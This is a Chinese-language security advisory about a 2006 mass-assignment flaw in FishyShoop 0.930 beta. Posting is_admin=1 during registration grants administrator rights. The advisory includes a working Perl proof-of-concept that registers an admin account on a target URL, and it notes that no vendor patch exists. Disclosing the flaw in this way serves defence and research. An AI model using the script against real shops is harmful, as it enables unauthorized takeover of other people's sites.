安全研究

安全漏洞
FishyShoop is_admin参数非授权管理访问漏洞

发布日期:2006-12-24
更新日期:2006-12-26

受影响系统:
FishyShoop FishyShoop 0.930 beta
描述:
BUGTRAQ  ID: 21731

Fishyshoop是一款网上购物软件。

Fishyshoop在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞非授权获取服务的管理权限。

Fishyshoop的pages/register/register.php文件会获取每个POST变量并将变量值注入到同一名称字段下新的记录中。如果注册时pages/register/register.php文件的is_admim变量被设置为1的话,则登录帐号就会在站点获得管理权限。

<*来源:James Gray (james6.0@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116707148304791&w=2
        http://secunia.com/advisories/23490/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl

use WWW::Curl::Easy;

sub usage() {
  print "$0 <Fishyshoop root URL> <Desired E-Mail> <Desired Password>\n";
  exit();
}

$FSURL=shift or usage(); $UNAME=shift or usage(); $PASS=shift or usage();

my $fishyshoop = new WWW::Curl::Easy;
$fishyshoop->setopt(CURLOPT_URL, "$FSURL?L=register.register");
$fishyshoop->setopt(CURLOPT_POST, 1);
$fishyshoop->setopt(CURLOPT_POSTFIELDS,
"email=$UNAME&password=$PASS&is_admin=1&submit=1");
$fishyshoop->perform;

建议:
厂商补丁:

FishyShoop
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.fishyshoop.com/

浏览次数:2769
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障